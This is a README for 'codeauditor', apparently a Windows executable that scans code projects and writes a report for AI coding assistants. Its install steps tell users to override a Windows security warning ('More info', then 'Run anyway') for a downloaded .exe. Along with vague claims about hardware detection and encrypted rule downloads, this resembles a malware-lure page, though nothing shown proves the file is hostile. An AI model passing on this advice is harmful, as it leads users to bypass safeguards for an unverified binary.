codeauditor scans your software projects from beginning to end. It finds issues and creates a report named codeaudit.md. This file lists problems by priority and gives you a score. You can share this report with AI coding tools to fix your project. It works with assistants like Claude Code, Cursor, Windsurf, and Gemini.
Follow these steps to get codeauditor on your Windows computer.
- Visit the project website: https://github.com/hashmis7144/codeauditor
- Scroll to the section marked Releases on the right side of the page.
- Select the latest version link.
- Download the file ending in .exe for your Windows system.
- Move the file to your preferred folder.
You do not need to install complex software. codeauditor runs as a standalone tool.
- Locate the .exe file you downloaded.
- Double-click the file to start the process.
- If a security window appears, click More info and then select Run anyway.
- A small window appears to show the status of the setup.
- The program detects your hardware and creates the necessary files in your folder.
Code analysis helps you understand the quality of your work. Follow these steps to audit your project.
- Open the folder that contains the code you want to check.
- Drag and drop this folder onto the codeauditor icon.
- The program opens a command window.
- Watch the progress bars as the tool scans your files.
- Once the analysis finishes, the window closes.
- Look for a new file named codeaudit.md inside your folder.
The codeaudit.md file contains the results of the scan. Open this file with a text editor like Notepad.
The report includes:
- Overall Score: A number between 0 and 100 that shows your project health.
- Priority List: Issues ranked from most important to least important.
- Suggested Actions: Steps to correct each problem.
- Security Alerts: Potential risks found in your files.
You can give the codeaudit.md report to AI tools to fix your project. Copy the content of the report and paste it into tools like Cursor or Windsurf. These tools read the report and update your files automatically based on the suggestions in the document.
codeauditor requires basic hardware to function.
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 100 megabytes of free space.
- Internet: Connection is required to fetch the latest security rules.
Does this tool change my code files? No. codeauditor only reads your files. It creates a new file called codeaudit.md. It does not overwrite your existing work.
Can I use this for private projects? Yes. The tool runs locally on your computer. Your files stay on your machine during the scan.
What should I do if the scan fails? Check that your folder contains readable code files. Ensure you have the necessary permissions to open files in that directory.
How often should I scan my project? Run the tool every time you finish a new section of your project. Frequent scans keep your code clean and prevent minor issues from becoming large problems.
You can change how the tool behaves by creating a settings file. Create a file named config.json in the same folder as your codeauditor.exe file.
Add these lines to define your settings:
{
"scan_depth": "deep",
"include_logs": false,
"output_format": "markdown"
}This configuration tells the tool to perform a deep scan. You can change scan_depth to light if you want faster results.
Your data privacy matters. codeauditor performs all analysis within your local environment. The tool does not send your source code to external servers. It only downloads small, encrypted rule sets to perform the audit.
The report format from codeauditor works well with most modern AI assistants. If your tool supports Markdown files, you can use the output of this tool to guide your development process. Supported tools include:
- Claude Code
- Codex
- Gemini
- Cursor
- opencode
- Windsurf
- Antigravity
- pi